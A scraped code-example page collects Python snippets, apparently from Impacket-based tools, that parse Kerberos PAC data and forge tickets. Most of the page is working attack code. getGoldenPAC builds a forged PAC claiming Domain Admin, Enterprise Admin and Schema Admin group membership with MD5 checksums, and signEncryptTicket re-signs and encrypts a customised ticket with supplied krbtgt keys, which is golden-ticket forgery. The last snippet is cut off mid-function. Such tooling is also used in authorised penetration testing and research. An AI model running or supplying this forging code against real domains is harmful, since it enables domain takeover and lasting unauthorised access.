Exemple #1
0
    def printPac(self, data):
        encTicketPart = decoder.decode(data, asn1Spec=EncTicketPart())[0]
        adIfRelevant = decoder.decode(
            encTicketPart['authorization-data'][0]['ad-data'],
            asn1Spec=AD_IF_RELEVANT())[0]
        # So here we have the PAC
        pacType = PACTYPE(adIfRelevant[0]['ad-data'].asOctets())
        buff = pacType['Buffers']

        for bufferN in range(pacType['cBuffers']):
            infoBuffer = PAC_INFO_BUFFER(buff)
            data = pacType['Buffers'][infoBuffer['Offset'] -
                                      8:][:infoBuffer['cbBufferSize']]
            if logging.getLogger().level == logging.DEBUG:
                print("TYPE 0x%x" % infoBuffer['ulType'])
            if infoBuffer['ulType'] == 1:
                type1 = TypeSerialization1(data)
                # I'm skipping here 4 bytes with its the ReferentID for the pointer
                newdata = data[len(type1) + 4:]
                kerbdata = KERB_VALIDATION_INFO()
                kerbdata.fromString(newdata)
                kerbdata.fromStringReferents(newdata[len(kerbdata.getData()):])
                kerbdata.dump()
                print()
                print('Domain SID:',
                      kerbdata['LogonDomainId'].formatCanonical())
                print()
            elif infoBuffer['ulType'] == PAC_CLIENT_INFO_TYPE:
                clientInfo = PAC_CLIENT_INFO(data)
                if logging.getLogger().level == logging.DEBUG:
                    clientInfo.dump()
                    print()
            elif infoBuffer['ulType'] == PAC_SERVER_CHECKSUM:
                signatureData = PAC_SIGNATURE_DATA(data)
                if logging.getLogger().level == logging.DEBUG:
                    signatureData.dump()
                    print()
            elif infoBuffer['ulType'] == PAC_PRIVSVR_CHECKSUM:
                signatureData = PAC_SIGNATURE_DATA(data)
                if logging.getLogger().level == logging.DEBUG:
                    signatureData.dump()
                    print()
            elif infoBuffer['ulType'] == PAC_UPN_DNS_INFO:
                upn = UPN_DNS_INFO(data)
                if logging.getLogger().level == logging.DEBUG:
                    upn.dump()
                    print(data[upn['DnsDomainNameOffset']:])
                    print()
            else:
                hexdump(data)

            if logging.getLogger().level == logging.DEBUG:
                print("#" * 80)

            buff = buff[len(infoBuffer):]
Exemple #2
0
def parse_ticket(decrypted_ticket):
    '''
    Parses the authorization data of a decrypted Kerberos ticket.

    Parameters:
        decrypted_ticket            (byte)                  Decrypted Kerberos ticket

    Returns:
        parsed_ticket               (string)                Parsed and formatted Kerberos ticket
    '''
    decoded_ticket = decoder.decode(decrypted_ticket)[0]
    pac_data = decoded_ticket['field-9'][0]['field-1']
    dec_auth_data = decoder.decode(pac_data)[0][0]['field-1']

    pac_buffers = PACTYPE(dec_auth_data.__bytes__())
    pac_buffer = pac_buffers['Buffers']
    pac_buffer_hex = hexlify(pac_buffer)

    pac_info_list = process_pac_info_buffer(pac_buffer_hex)
    auth_data_type = pac_info_list[0]
    auth_data_length = pac_info_list[1]
    auth_data_offset = pac_info_list[2]
    auth_data_end = (auth_data_length * 2) - 40
    offset_start = 24 + auth_data_offset * 2
    auth_data_hex = pac_buffer_hex[offset_start:offset_start + auth_data_end]

    sys.stdout = output = StringIO()

    print("\nPAC Info Buffer:")
    print("    ulType: " + str(auth_data_type))
    print("    cbBufferSize: " + str(auth_data_length) + " bytes")
    print("    Offset: " + str(auth_data_offset) + " bytes")

    final_validation_info = VALIDATION_INFO()
    final_validation_info.fromStringReferents(unhexlify(auth_data_hex))
    final_validation_info.dump()

    sys.stdout = sys.__stdout__
    output = output.getvalue()

    indent = ''
    parsed_ticket = []
    for line in output.splitlines():

        if line == 'VALIDATION_INFO ':
            indent = '    '
            parsed_ticket.append('\nAuthorization Data:')
            continue

        line = indent + line
        parsed_ticket.append(line)

    parsed_ticket = '\n'.join(parsed_ticket)

    return parsed_ticket
Exemple #3
0
    def getGoldenPAC(self, authTime):
        # Ok.. we need to build a PAC_TYPE with the following items

        # 1) KERB_VALIDATION_INFO
        aTime = timegm(strptime(str(authTime), '%Y%m%d%H%M%SZ'))

        unixTime = getFileTime(aTime)

        kerbdata = KERB_VALIDATION_INFO()

        kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff
        kerbdata['LogonTime']['dwHighDateTime'] = unixTime >> 32

        # LogoffTime: A FILETIME structure that contains the time the client's logon
        # session should expire. If the session should not expire, this structure
        # SHOULD have the dwHighDateTime member set to 0x7FFFFFFF and the dwLowDateTime
        # member set to 0xFFFFFFFF. A recipient of the PAC SHOULD<7> use this value as
        # an indicator of when to warn the user that the allowed time is due to expire.
        kerbdata['LogoffTime']['dwLowDateTime'] = 0xFFFFFFFF
        kerbdata['LogoffTime']['dwHighDateTime'] = 0x7FFFFFFF

        # KickOffTime: A FILETIME structure that contains LogoffTime minus the user
        # account's forceLogoff attribute ([MS-ADA1] section 2.233) value. If the
        # client should not be logged off, this structure SHOULD have the dwHighDateTime
        # member set to 0x7FFFFFFF and the dwLowDateTime member set to 0xFFFFFFFF.
        # The Kerberos service ticket end time is a replacement for KickOffTime.
        # The service ticket lifetime SHOULD NOT be set longer than the KickOffTime of
        # an account. A recipient of the PAC SHOULD<8> use this value as the indicator
        # of when the client should be forcibly disconnected.
        kerbdata['KickOffTime']['dwLowDateTime'] = 0xFFFFFFFF
        kerbdata['KickOffTime']['dwHighDateTime'] = 0x7FFFFFFF

        kerbdata['PasswordLastSet']['dwLowDateTime'] = 0
        kerbdata['PasswordLastSet']['dwHighDateTime'] = 0

        kerbdata['PasswordCanChange']['dwLowDateTime'] = 0
        kerbdata['PasswordCanChange']['dwHighDateTime'] = 0

        # PasswordMustChange: A FILETIME structure that contains the time at which
        # theclient's password expires. If the password will not expire, this
        # structure MUST have the dwHighDateTime member set to 0x7FFFFFFF and the
        # dwLowDateTime member set to 0xFFFFFFFF.
        kerbdata['PasswordMustChange']['dwLowDateTime'] = 0xFFFFFFFF
        kerbdata['PasswordMustChange']['dwHighDateTime'] = 0x7FFFFFFF

        kerbdata['EffectiveName'] = self.__username
        kerbdata['FullName'] = ''
        kerbdata['LogonScript'] = ''
        kerbdata['ProfilePath'] = ''
        kerbdata['HomeDirectory'] = ''
        kerbdata['HomeDirectoryDrive'] = ''
        kerbdata['LogonCount'] = 0
        kerbdata['BadPasswordCount'] = 0
        kerbdata['UserId'] = self.__rid
        kerbdata['PrimaryGroupId'] = 513

        # Our Golden Well-known groups! :)
        groups = (513, 512, 520, 518, 519)
        kerbdata['GroupCount'] = len(groups)

        for group in groups:
            groupMembership = GROUP_MEMBERSHIP()
            groupId = NDRULONG()
            groupId['Data'] = group
            groupMembership['RelativeId'] = groupId
            groupMembership[
                'Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
            kerbdata['GroupIds'].append(groupMembership)

        kerbdata['UserFlags'] = 0
        kerbdata[
            'UserSessionKey'] = '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
        kerbdata['LogonServer'] = ''
        kerbdata['LogonDomainName'] = self.__domain
        kerbdata['LogonDomainId'] = self.__domainSid
        kerbdata['LMKey'] = '\x00\x00\x00\x00\x00\x00\x00\x00'
        kerbdata[
            'UserAccountControl'] = USER_NORMAL_ACCOUNT | USER_DONT_EXPIRE_PASSWORD
        kerbdata['SubAuthStatus'] = 0
        kerbdata['LastSuccessfulILogon']['dwLowDateTime'] = 0
        kerbdata['LastSuccessfulILogon']['dwHighDateTime'] = 0
        kerbdata['LastFailedILogon']['dwLowDateTime'] = 0
        kerbdata['LastFailedILogon']['dwHighDateTime'] = 0
        kerbdata['FailedILogonCount'] = 0
        kerbdata['Reserved3'] = 0

        # AUTHENTICATION_AUTHORITY_ASSERTED_IDENTITY: A SID that means the client's identity is
        # asserted by an authentication authority based on proof of possession of client credentials.
        #extraSids = ('S-1-18-1',)
        if self.__forestSid is not None:
            extraSids = ('%s-%s' % (self.__forestSid, '519'), )
            kerbdata['SidCount'] = len(extraSids)
            kerbdata['UserFlags'] |= 0x20
        else:
            extraSids = ()
            kerbdata['SidCount'] = len(extraSids)

        for extraSid in extraSids:
            sidRecord = KERB_SID_AND_ATTRIBUTES()
            sid = RPC_SID()
            sid.fromCanonical(extraSid)
            sidRecord['Sid'] = sid
            sidRecord[
                'Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
            kerbdata['ExtraSids'].append(sidRecord)

        kerbdata['ResourceGroupDomainSid'] = NULL
        kerbdata['ResourceGroupCount'] = 0
        kerbdata['ResourceGroupIds'] = NULL

        validationInfo = self.VALIDATION_INFO()
        validationInfo['Data'] = kerbdata

        if logging.getLogger().level == logging.DEBUG:
            logging.debug('VALIDATION_INFO')
            validationInfo.dump()
            print('\n')

        validationInfoBlob = validationInfo.getData(
        ) + validationInfo.getDataReferents()
        validationInfoAlignment = '\x00' * ((
            (len(validationInfoBlob) + 7) / 8 * 8) - len(validationInfoBlob))

        # 2) PAC_CLIENT_INFO
        pacClientInfo = PAC_CLIENT_INFO()
        pacClientInfo['ClientId'] = unixTime
        try:
            name = self.__username.encode('utf-16le')
        except UnicodeDecodeError:
            import sys
            name = self.__username.decode(
                sys.getfilesystemencoding()).encode('utf-16le')
        pacClientInfo['NameLength'] = len(name)
        pacClientInfo['Name'] = name
        pacClientInfoBlob = str(pacClientInfo)
        pacClientInfoAlignment = '\x00' * ((
            (len(pacClientInfoBlob) + 7) / 8 * 8) - len(pacClientInfoBlob))

        # 3) PAC_SERVER_CHECKSUM/PAC_SIGNATURE_DATA
        serverChecksum = PAC_SIGNATURE_DATA()

        # If you wanna do CRC32, uncomment this
        #serverChecksum['SignatureType'] = self.CRC_32
        #serverChecksum['Signature'] = '\x00'*4

        # If you wanna do MD4, uncomment this
        #serverChecksum['SignatureType'] = self.RSA_MD4
        #serverChecksum['Signature'] = '\x00'*16

        # If you wanna do MD5, uncomment this
        serverChecksum['SignatureType'] = self.RSA_MD5
        serverChecksum['Signature'] = '\x00' * 16

        serverChecksumBlob = str(serverChecksum)
        serverChecksumAlignment = '\x00' * ((
            (len(serverChecksumBlob) + 7) / 8 * 8) - len(serverChecksumBlob))

        # 4) PAC_PRIVSVR_CHECKSUM/PAC_SIGNATURE_DATA
        privSvrChecksum = PAC_SIGNATURE_DATA()

        # If you wanna do CRC32, uncomment this
        #privSvrChecksum['SignatureType'] = self.CRC_32
        #privSvrChecksum['Signature'] = '\x00'*4

        # If you wanna do MD4, uncomment this
        #privSvrChecksum['SignatureType'] = self.RSA_MD4
        #privSvrChecksum['Signature'] = '\x00'*16

        # If you wanna do MD5, uncomment this
        privSvrChecksum['SignatureType'] = self.RSA_MD5
        privSvrChecksum['Signature'] = '\x00' * 16

        privSvrChecksumBlob = str(privSvrChecksum)
        privSvrChecksumAlignment = '\x00' * ((
            (len(privSvrChecksumBlob) + 7) / 8 * 8) - len(privSvrChecksumBlob))

        # The offset are set from the beginning of the PAC_TYPE
        # [MS-PAC] 2.4 PAC_INFO_BUFFER
        offsetData = 8 + len(str(PAC_INFO_BUFFER())) * 4

        # Let's build the PAC_INFO_BUFFER for each one of the elements
        validationInfoIB = PAC_INFO_BUFFER()
        validationInfoIB['ulType'] = PAC_LOGON_INFO
        validationInfoIB['cbBufferSize'] = len(validationInfoBlob)
        validationInfoIB['Offset'] = offsetData
        offsetData = (offsetData + validationInfoIB['cbBufferSize'] +
                      7) / 8 * 8

        pacClientInfoIB = PAC_INFO_BUFFER()
        pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE
        pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob)
        pacClientInfoIB['Offset'] = offsetData
        offsetData = (offsetData + pacClientInfoIB['cbBufferSize'] + 7) / 8 * 8

        serverChecksumIB = PAC_INFO_BUFFER()
        serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM
        serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob)
        serverChecksumIB['Offset'] = offsetData
        offsetData = (offsetData + serverChecksumIB['cbBufferSize'] +
                      7) / 8 * 8

        privSvrChecksumIB = PAC_INFO_BUFFER()
        privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM
        privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob)
        privSvrChecksumIB['Offset'] = offsetData
        #offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) /8 *8

        # Building the PAC_TYPE as specified in [MS-PAC]
        buffers = str(validationInfoIB) + str(pacClientInfoIB) + str(
            serverChecksumIB) + str(
                privSvrChecksumIB
            ) + validationInfoBlob + validationInfoAlignment + str(
                pacClientInfo) + pacClientInfoAlignment
        buffersTail = str(serverChecksum) + serverChecksumAlignment + str(
            privSvrChecksum) + privSvrChecksumAlignment

        pacType = PACTYPE()
        pacType['cBuffers'] = 4
        pacType['Version'] = 0
        pacType['Buffers'] = buffers + buffersTail

        blobToChecksum = str(pacType)

        # If you want to do CRC-32, ucomment this
        #serverChecksum['Signature'] = struct.pack('<L', (binascii.crc32(blobToChecksum, 0xffffffff) ^ 0xffffffff) & 0xffffffff)
        #privSvrChecksum['Signature'] =  struct.pack('<L', (binascii.crc32(serverChecksum['Signature'], 0xffffffff) ^ 0xffffffff) & 0xffffffff)

        # If you want to do MD4, ucomment this
        #serverChecksum['Signature'] = MD4.new(blobToChecksum).digest()
        #privSvrChecksum['Signature'] =  MD4.new(serverChecksum['Signature']).digest()

        # If you want to do MD5, ucomment this
        serverChecksum['Signature'] = MD5.new(blobToChecksum).digest()
        privSvrChecksum['Signature'] = MD5.new(
            serverChecksum['Signature']).digest()

        buffersTail = str(serverChecksum) + serverChecksumAlignment + str(
            privSvrChecksum) + privSvrChecksumAlignment
        pacType['Buffers'] = buffers + buffersTail

        authorizationData = AuthorizationData()
        authorizationData[0] = None
        authorizationData[0]['ad-type'] = int(
            constants.AuthorizationDataType.AD_WIN2K_PAC.value)
        authorizationData[0]['ad-data'] = str(pacType)
        return encoder.encode(authorizationData)
    def signEncryptTicket(self, kdcRep, encASorTGSRepPart, encTicketPart,
                          pacInfos):
        logging.info('Signing/Encrypting final ticket')

        # We changed everything we needed to make us special. Now let's repack and calculate checksums
        validationInfoBlob = pacInfos[PAC_LOGON_INFO]
        validationInfoAlignment = b'\x00' * ((
            (len(validationInfoBlob) + 7) // 8 * 8) - len(validationInfoBlob))

        pacClientInfoBlob = pacInfos[PAC_CLIENT_INFO_TYPE]
        pacClientInfoAlignment = b'\x00' * ((
            (len(pacClientInfoBlob) + 7) // 8 * 8) - len(pacClientInfoBlob))

        serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM])
        serverChecksumBlob = pacInfos[PAC_SERVER_CHECKSUM]
        serverChecksumAlignment = b'\x00' * ((
            (len(serverChecksumBlob) + 7) // 8 * 8) - len(serverChecksumBlob))

        privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM])
        privSvrChecksumBlob = pacInfos[PAC_PRIVSVR_CHECKSUM]
        privSvrChecksumAlignment = b'\x00' * ((
            (len(privSvrChecksumBlob) + 7) // 8 * 8) -
                                              len(privSvrChecksumBlob))

        # The offset are set from the beginning of the PAC_TYPE
        # [MS-PAC] 2.4 PAC_INFO_BUFFER
        offsetData = 8 + len(PAC_INFO_BUFFER().getData()) * 4

        # Let's build the PAC_INFO_BUFFER for each one of the elements
        validationInfoIB = PAC_INFO_BUFFER()
        validationInfoIB['ulType'] = PAC_LOGON_INFO
        validationInfoIB['cbBufferSize'] = len(validationInfoBlob)
        validationInfoIB['Offset'] = offsetData
        offsetData = (offsetData + validationInfoIB['cbBufferSize'] +
                      7) // 8 * 8

        pacClientInfoIB = PAC_INFO_BUFFER()
        pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE
        pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob)
        pacClientInfoIB['Offset'] = offsetData
        offsetData = (offsetData + pacClientInfoIB['cbBufferSize'] +
                      7) // 8 * 8

        serverChecksumIB = PAC_INFO_BUFFER()
        serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM
        serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob)
        serverChecksumIB['Offset'] = offsetData
        offsetData = (offsetData + serverChecksumIB['cbBufferSize'] +
                      7) // 8 * 8

        privSvrChecksumIB = PAC_INFO_BUFFER()
        privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM
        privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob)
        privSvrChecksumIB['Offset'] = offsetData
        # offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) //8 *8

        # Building the PAC_TYPE as specified in [MS-PAC]
        buffers = validationInfoIB.getData() + pacClientInfoIB.getData() + serverChecksumIB.getData() + \
            privSvrChecksumIB.getData() + validationInfoBlob + validationInfoAlignment + \
            pacInfos[PAC_CLIENT_INFO_TYPE] + pacClientInfoAlignment
        buffersTail = serverChecksumBlob + serverChecksumAlignment + privSvrChecksum.getData(
        ) + privSvrChecksumAlignment

        pacType = PACTYPE()
        pacType['cBuffers'] = 4
        pacType['Version'] = 0
        pacType['Buffers'] = buffers + buffersTail

        blobToChecksum = pacType.getData()

        checkSumFunctionServer = _checksum_table[
            serverChecksum['SignatureType']]
        if serverChecksum[
                'SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value:
            keyServer = Key(Enctype.AES256, unhexlify(self.__options.aesKey))
        elif serverChecksum[
                'SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value:
            keyServer = Key(Enctype.AES128, unhexlify(self.__options.aesKey))
        elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_md5.value:
            keyServer = Key(Enctype.RC4, unhexlify(self.__options.nthash))
        else:
            raise Exception('Invalid Server checksum type 0x%x' %
                            serverChecksum['SignatureType'])

        checkSumFunctionPriv = _checksum_table[
            privSvrChecksum['SignatureType']]
        if privSvrChecksum[
                'SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value:
            keyPriv = Key(Enctype.AES256, unhexlify(self.__options.aesKey))
        elif privSvrChecksum[
                'SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value:
            keyPriv = Key(Enctype.AES128, unhexlify(self.__options.aesKey))
        elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_md5.value:
            keyPriv = Key(Enctype.RC4, unhexlify(self.__options.nthash))
        else:
            raise Exception('Invalid Priv checksum type 0x%x' %
                            serverChecksum['SignatureType'])

        serverChecksum['Signature'] = checkSumFunctionServer.checksum(
            keyServer, KERB_NON_KERB_CKSUM_SALT, blobToChecksum)
        logging.info('\tPAC_SERVER_CHECKSUM')
        privSvrChecksum['Signature'] = checkSumFunctionPriv.checksum(
            keyPriv, KERB_NON_KERB_CKSUM_SALT, serverChecksum['Signature'])
        logging.info('\tPAC_PRIVSVR_CHECKSUM')

        buffersTail = serverChecksum.getData(
        ) + serverChecksumAlignment + privSvrChecksum.getData(
        ) + privSvrChecksumAlignment
        pacType['Buffers'] = buffers + buffersTail

        authorizationData = AuthorizationData()
        authorizationData[0] = noValue
        authorizationData[0][
            'ad-type'] = AuthorizationDataType.AD_WIN2K_PAC.value
        authorizationData[0]['ad-data'] = pacType.getData()
        authorizationData = encoder.encode(authorizationData)

        encTicketPart['authorization-data'][0]['ad-data'] = authorizationData

        if logging.getLogger().level == logging.DEBUG:
            logging.debug('Customized EncTicketPart')
            print(encTicketPart.prettyPrint())
            print('\n')

        encodedEncTicketPart = encoder.encode(encTicketPart)

        cipher = _enctype_table[kdcRep['ticket']['enc-part']['etype']]
        if cipher.enctype == EncryptionTypes.aes256_cts_hmac_sha1_96.value:
            key = Key(cipher.enctype, unhexlify(self.__options.aesKey))
        elif cipher.enctype == EncryptionTypes.aes128_cts_hmac_sha1_96.value:
            key = Key(cipher.enctype, unhexlify(self.__options.aesKey))
        elif cipher.enctype == EncryptionTypes.rc4_hmac.value:
            key = Key(cipher.enctype, unhexlify(self.__options.nthash))
        else:
            raise Exception('Unsupported enctype 0x%x' % cipher.enctype)

        # Key Usage 2
        # AS-REP Ticket and TGS-REP Ticket (includes TGS session
        # key or application session key), encrypted with the
        # service key (Section 5.3)
        logging.info('\tEncTicketPart')
        cipherText = cipher.encrypt(key, 2, encodedEncTicketPart, None)

        kdcRep['ticket']['enc-part']['cipher'] = cipherText
        kdcRep['ticket']['enc-part']['kvno'] = 2

        # Lastly.. we have to encrypt the kdcRep['enc-part'] part
        # with a key we chose. It actually doesn't really matter since nobody uses it (could it be trash?)
        encodedEncASRepPart = encoder.encode(encASorTGSRepPart)

        if self.__domain == self.__server:
            # Key Usage 3
            # AS-REP encrypted part (includes TGS session key or
            # application session key), encrypted with the client key
            # (Section 5.4.2)
            sessionKey = Key(cipher.enctype,
                             encASorTGSRepPart['key']['keyvalue'].asOctets())
            logging.info('\tEncASRepPart')
            cipherText = cipher.encrypt(sessionKey, 3, encodedEncASRepPart,
                                        None)
        else:
            # Key Usage 8
            # TGS-REP encrypted part (includes application session
            # key), encrypted with the TGS session key
            # (Section 5.4.2)
            sessionKey = Key(cipher.enctype,
                             encASorTGSRepPart['key']['keyvalue'].asOctets())
            logging.info('\tEncTGSRepPart')
            cipherText = cipher.encrypt(sessionKey, 8, encodedEncASRepPart,
                                        None)

        kdcRep['enc-part']['cipher'] = cipherText
        kdcRep['enc-part']['etype'] = cipher.enctype
        kdcRep['enc-part']['kvno'] = 1

        if logging.getLogger().level == logging.DEBUG:
            logging.debug('Final Golden Ticket')
            print(kdcRep.prettyPrint())
            print('\n')

        return encoder.encode(kdcRep), cipher, sessionKey
Exemple #5
0
    def printPac(self, data, human=True):
        encTicketPart = decoder.decode(data, asn1Spec=EncTicketPart())[0]
        adIfRelevant = decoder.decode(encTicketPart['authorization-data'][0]['ad-data'], asn1Spec=AD_IF_RELEVANT())[
            0]
        # So here we have the PAC
        pacType = PACTYPE(bytes(adIfRelevant[0]['ad-data']))
        buff = pacType['Buffers']

        for bufferN in range(pacType['cBuffers']):
            infoBuffer = PAC_INFO_BUFFER(buff)
            data = pacType['Buffers'][infoBuffer['Offset']-8:][:infoBuffer['cbBufferSize']]
            if logging.getLogger().level == logging.DEBUG:
                print("TYPE 0x%x" % infoBuffer['ulType'])
            if infoBuffer['ulType'] == 1:
                type1 = TypeSerialization1(data)
                # I'm skipping here 4 bytes with its the ReferentID for the pointer
                newdata = data[len(type1)+4:]
                kerbdata = KERB_VALIDATION_INFO()
                kerbdata.fromString(newdata)
                kerbdata.fromStringReferents(newdata[len(kerbdata.getData()):])
                kerbdata.dump()
                print()
                # # If human is true, print human-friendly version
                # # if not, just do the raw dump
                if human:
                    print()
                    print('Username:'******'EffectiveName'])
                    print('Domain SID:', kerbdata['LogonDomainId'].formatCanonical())
                    print('UserId:', kerbdata['UserId'])
                    print('PrimaryGroupId', kerbdata['PrimaryGroupId'])
                    print('Member of groups:')
                    for group in kerbdata['GroupIds']:
                        print('  ->   %d (attributes: %d)' % (group['RelativeId'],  group['Attributes']))
                    print('LogonServer: ', kerbdata['LogonServer'])
                    print('LogonDomainName: ', kerbdata['LogonDomainName'])
                    print()
                    print('Extra SIDS:')
                    for sid in kerbdata['ExtraSids']:
                        print('  ->  ', sid['Sid'].formatCanonical())
                    if kerbdata['ResourceGroupDomainSid']:
                        print('Extra domain groups found! Domain SID:')
                        print(kerbdata['ResourceGroupDomainSid'].formatCanonical())
                        print('Relative groups:')
                        for group in kerbdata['ResourceGroupIds']:
                            print('  ->   %d (attributes: %d)' % (group['RelativeId'],  group['Attributes']))
            elif infoBuffer['ulType'] == PAC_CLIENT_INFO_TYPE:
                clientInfo = PAC_CLIENT_INFO(data)
                if logging.getLogger().level == logging.DEBUG:
                    clientInfo.dump()
                    print()
            elif infoBuffer['ulType'] == PAC_SERVER_CHECKSUM:
                signatureData = PAC_SIGNATURE_DATA(data)
                if logging.getLogger().level == logging.DEBUG:
                    signatureData.dump()
                    print()
            elif infoBuffer['ulType'] == PAC_PRIVSVR_CHECKSUM:
                signatureData = PAC_SIGNATURE_DATA(data)
                if logging.getLogger().level == logging.DEBUG:
                    signatureData.dump()
                    print()
            elif infoBuffer['ulType'] == PAC_UPN_DNS_INFO:
                upn = UPN_DNS_INFO(data)
                if logging.getLogger().level == logging.DEBUG:
                    upn.dump()
                    print(data[upn['DnsDomainNameOffset']:])
                    # print
            else:
                hexdump(data)

            if logging.getLogger().level == logging.DEBUG:
                print("#"*80)

            buff = buff[len(infoBuffer):]
Exemple #6
0
    def getGoldenPAC(self, authTime):
        # Ok.. we need to build a PAC_TYPE with the following items

        # 1) KERB_VALIDATION_INFO
        aTime = timegm(strptime(str(authTime), '%Y%m%d%H%M%SZ'))

        unixTime = getFileTime(aTime)

        kerbdata = KERB_VALIDATION_INFO()

        kerbdata['LogonTime']['dwLowDateTime']           = unixTime & 0xffffffff
        kerbdata['LogonTime']['dwHighDateTime']          = unixTime >>32

        # LogoffTime: A FILETIME structure that contains the time the client's logon 
        # session should expire. If the session should not expire, this structure 
        # SHOULD have the dwHighDateTime member set to 0x7FFFFFFF and the dwLowDateTime 
        # member set to 0xFFFFFFFF. A recipient of the PAC SHOULD<7> use this value as 
        # an indicator of when to warn the user that the allowed time is due to expire.
        kerbdata['LogoffTime']['dwLowDateTime']          = 0xFFFFFFFF
        kerbdata['LogoffTime']['dwHighDateTime']         = 0x7FFFFFFF

        # KickOffTime: A FILETIME structure that contains LogoffTime minus the user 
        # account's forceLogoff attribute ([MS-ADA1] section 2.233) value. If the 
        # client should not be logged off, this structure SHOULD have the dwHighDateTime 
        # member set to 0x7FFFFFFF and the dwLowDateTime member set to 0xFFFFFFFF. 
        # The Kerberos service ticket end time is a replacement for KickOffTime. 
        # The service ticket lifetime SHOULD NOT be set longer than the KickOffTime of 
        # an account. A recipient of the PAC SHOULD<8> use this value as the indicator 
        # of when the client should be forcibly disconnected.
        kerbdata['KickOffTime']['dwLowDateTime']         = 0xFFFFFFFF
        kerbdata['KickOffTime']['dwHighDateTime']        = 0x7FFFFFFF

        kerbdata['PasswordLastSet']['dwLowDateTime']     = 0
        kerbdata['PasswordLastSet']['dwHighDateTime']    = 0

        kerbdata['PasswordCanChange']['dwLowDateTime']   = 0
        kerbdata['PasswordCanChange']['dwHighDateTime']  = 0
        
        # PasswordMustChange: A FILETIME structure that contains the time at which
        # theclient's password expires. If the password will not expire, this 
        # structure MUST have the dwHighDateTime member set to 0x7FFFFFFF and the 
        # dwLowDateTime member set to 0xFFFFFFFF.
        kerbdata['PasswordMustChange']['dwLowDateTime']  = 0xFFFFFFFF
        kerbdata['PasswordMustChange']['dwHighDateTime'] = 0x7FFFFFFF

        kerbdata['EffectiveName']      = self.__username
        kerbdata['FullName']           = ''
        kerbdata['LogonScript']        = ''
        kerbdata['ProfilePath']        = ''
        kerbdata['HomeDirectory']      = ''
        kerbdata['HomeDirectoryDrive'] = ''
        kerbdata['LogonCount']         = 0
        kerbdata['BadPasswordCount']   = 0
        kerbdata['UserId']             = self.__rid
        kerbdata['PrimaryGroupId']     = 513
        
        # Our Golden Well-known groups! :)
        groups = (513, 512, 520, 518, 519)
        kerbdata['GroupCount']         = len(groups)

        for group in groups:
            groupMembership = GROUP_MEMBERSHIP()
            groupId = NDRULONG()
            groupId['Data'] = group
            groupMembership['RelativeId'] = groupId
            groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
            kerbdata['GroupIds'].append(groupMembership)

        kerbdata['UserFlags']         = 0
        kerbdata['UserSessionKey']    = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
        kerbdata['LogonServer']       = ''
        kerbdata['LogonDomainName']   = self.__domain
        kerbdata['LogonDomainId']     = self.__domainSid
        kerbdata['LMKey']             = b'\x00\x00\x00\x00\x00\x00\x00\x00'
        kerbdata['UserAccountControl']= USER_NORMAL_ACCOUNT | USER_DONT_EXPIRE_PASSWORD
        kerbdata['SubAuthStatus']     = 0
        kerbdata['LastSuccessfulILogon']['dwLowDateTime']  = 0
        kerbdata['LastSuccessfulILogon']['dwHighDateTime'] = 0
        kerbdata['LastFailedILogon']['dwLowDateTime']      = 0
        kerbdata['LastFailedILogon']['dwHighDateTime']     = 0
        kerbdata['FailedILogonCount'] = 0
        kerbdata['Reserved3']         = 0

        # AUTHENTICATION_AUTHORITY_ASSERTED_IDENTITY: A SID that means the client's identity is 
        # asserted by an authentication authority based on proof of possession of client credentials.
        #extraSids = ('S-1-18-1',)
        if self.__forestSid is not None:
            extraSids = ('%s-%s' % (self.__forestSid, '519'),)
            kerbdata['SidCount']          = len(extraSids)
            kerbdata['UserFlags'] |= 0x20
        else:
            extraSids = ()
            kerbdata['SidCount']          = len(extraSids)
        
        for extraSid in extraSids:
            sidRecord = KERB_SID_AND_ATTRIBUTES()
            sid = RPC_SID()
            sid.fromCanonical(extraSid)
            sidRecord['Sid'] = sid
            sidRecord['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
            kerbdata['ExtraSids'].append(sidRecord)

        kerbdata['ResourceGroupDomainSid'] = NULL
        kerbdata['ResourceGroupCount'] = 0
        kerbdata['ResourceGroupIds'] = NULL
            
        validationInfo = self.VALIDATION_INFO()
        validationInfo['Data'] = kerbdata

        if logging.getLogger().level == logging.DEBUG:
            logging.debug('VALIDATION_INFO')
            validationInfo.dump()
            print ('\n')

        validationInfoBlob = validationInfo.getData() + validationInfo.getDataReferents()
        validationInfoAlignment = b'\x00' * (((len(validationInfoBlob) + 7) // 8 * 8) - len(validationInfoBlob))

        # 2) PAC_CLIENT_INFO
        pacClientInfo = PAC_CLIENT_INFO()
        pacClientInfo['ClientId'] = unixTime
        try:
            name = self.__username.encode('utf-16le')
        except UnicodeDecodeError:
            import sys
